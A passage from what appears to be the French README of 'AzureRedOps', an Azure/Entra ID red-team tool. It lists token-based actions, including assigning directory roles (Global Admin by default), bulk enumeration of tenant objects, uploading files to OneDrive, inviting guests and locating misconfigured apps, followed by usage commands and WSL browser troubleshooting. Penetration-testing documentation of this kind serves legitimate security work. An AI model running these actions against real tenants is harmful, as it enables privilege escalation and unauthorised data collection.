    add-groupToken, -uid-gidAttribuer un rôle d'annuaire à un principal (rôle par défaut = Global Admin).
    push-fileToken, -fp, -n—Téléverser un fichier local vers OneDrive de l'utilisateur.
    gather-allToken-jCollecter en masse les utilisateurs, groupes, applications, SPs, rôles, politiques et autorisations.
    raw-urlToken, -url-j, -fl, -expEnvoyer un GET brut vers n'importe quelle URL Graph/REST (gère la pagination @odata.nextLink).
    inviteToken, -n-urlInviter un utilisateur externe (invité). -n correspond à l'e-mail de l'invité.
    magic-appToken—Rechercher les applications avec consentement AllPrincipals, appRoleAssignmentRequired=false et URI de redirection publiques.
    ActivitéRequisOptionnelDescription
    knownids—-fl, -expListe les identifiants d'application Microsoft connus (includes/apps.json).
    list-interest——Liste les catégories d'applications définies dans includes/auth_apps.json.
    interest—-i, -tyListe les identifiants d'applications intéressants ; -i affiche uniquement les identifiants, -ty filtre par catégorie.
    python3 AzureRedOps.py -a knownids
    python3 AzureRedOps.py -a list-interest
    python3 AzureRedOps.py -a interest -ty all_users
    python3 AzureRedOps.py -a interest -i # IDs only
    /dev/shm
    page.goto(..., wait_until="networkidle")
    networkidle
    • Corrigé dans l'outil : AzureRedOps détecte désormais automatiquement WSL et désactive l'accélération matérielle quel que soit le moteur utilisé — Chromium reçoit --no-sandbox --disable-gpu --disable-dev-shm-usage, Firefox reçoit gfx.webrender.force-disabled / layers.acceleration.disabled — en revenant au rendu CPU (logiciel) afin que la page s'affiche toujours et reste entièrement interactive. Chaque navigation attend désormais domcontentloaded au lieu de networkidle. Vous devriez simplement voir un navigateur fonctionnel.
    • Si vous rencontrez toujours des problèmes, augmentez /dev/shm (sudo mount -o remount,size=1g /dev/shm), assurez-vous d'être sur WSL 2 avec WSLg (wsl --update ; echo $DISPLAY ne doit pas être vide), et vérifiez que le runtime du navigateur est installé dans le venv (python -m playwright install firefox et python -m playwright install-deps).